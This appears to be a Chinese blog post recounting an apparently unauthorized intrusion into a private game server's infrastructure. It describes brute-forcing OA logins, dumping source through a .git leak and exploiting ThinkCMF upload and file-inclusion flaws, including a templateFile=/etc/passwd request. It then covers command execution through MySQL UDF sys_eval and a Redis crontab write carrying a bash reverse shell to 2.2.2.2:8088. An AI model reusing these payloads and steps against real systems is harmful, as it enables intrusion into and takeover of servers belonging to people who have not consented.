碰到了一个加好友推广某手游私服的广告哥,正好周末没事做,于是找他要了app看能不能渗透进去。

1.png

apk有点大,就不解包反编译了,直接用测试手机挂bp抓包,依旧要了一大堆权限,登陆界面很简陋而且有BUG,比如实名认证的地方可以drop掉,这样无需手机号或者身份证就可以注册账户登录。
游戏呢,是这样的(宣传视频)

2.png

但app用了全流量加密,所有的包都是乱码,就不截图了。
随手在百度site一下,发现个OA

3.png

没有验证码,且会提示用户名是否正确,看起来是可以爆破的

4.png

admin的密码直接被爆破出来,不过账户被禁用了

5.png

那就只能爆破其他用户名,再分别爆破他们的密码。成功登陆

6.png

不过后台没有任何利用点,没有SQL注入,没有上传点。
结果还是只能扫目录这种粗暴的活儿,扫了没几秒。

7.png

目录遍历+.git泄露,不过有php的目录无法遍历

8.png

用Githack脱源码
https://github.com/lijiejie/GitHack

9.png

收获不少,配置文件中有内网redis和mysql

10.png

一些隐藏的接口

11.png

以及最重要的,二次开发的cms版本

12.png

thinkcmf是有两个比较新的漏洞的

13.png

先试试第一个,往如下接口上传文件
/index.php?g=Asset&m=Ueditor&a=upload&action=uploadimage

14.png

15.png

有权限验证,还好之前爆破出了一个账户。但是漏洞似乎修复了,只能上传图片后缀文件。
没关系,还有第二个漏洞,文件包含
index.php?a=display&templateFile=/etc/passwd

16.png

包含index.php会泄露绝对路径

17.png

第二个漏洞本可以直接getshell的,但我这儿没有成功,配合第一个漏洞也可以getshell

18.png

很新的发行版和内核,提权无望

19.png

不过还记得配置文件中的redis和mysql吗?
虽然都是内网中的服务器,不过还是值得一试。

20.png

mysql居然没有读写保护,那么可以通过udf执行命令

select * from func;显示有sys_eval就可以执行命令

21.png

22.png

不过mysql服务器不通外网,权限也很低,再试试redis服务器
由于oa服务器上没有redis客户端,所以我用curl的dict协议来操作局域网redis

23.png

flushall
config set dir /var/spool/cron/
config set dbfilename root
set 0 "\n\n*/1 * * * * bash -i >& /dev/tcp/2.2.2.2/8088 0>&1\n\n"
save

等了一分钟,弹回root权限shell

24.png

history之后发现redis服务器上部署了gocron

25.png

和oa服务器用的一个数据库,密码带salt,解不出来,只能新增一个账户登录进去

26.png

这个系统可以新建crontab,里面刚好有游戏服务器的节点,写入反弹shell的命令,至此渗透完毕。

27.png

标签: 渗透私服

添加新评论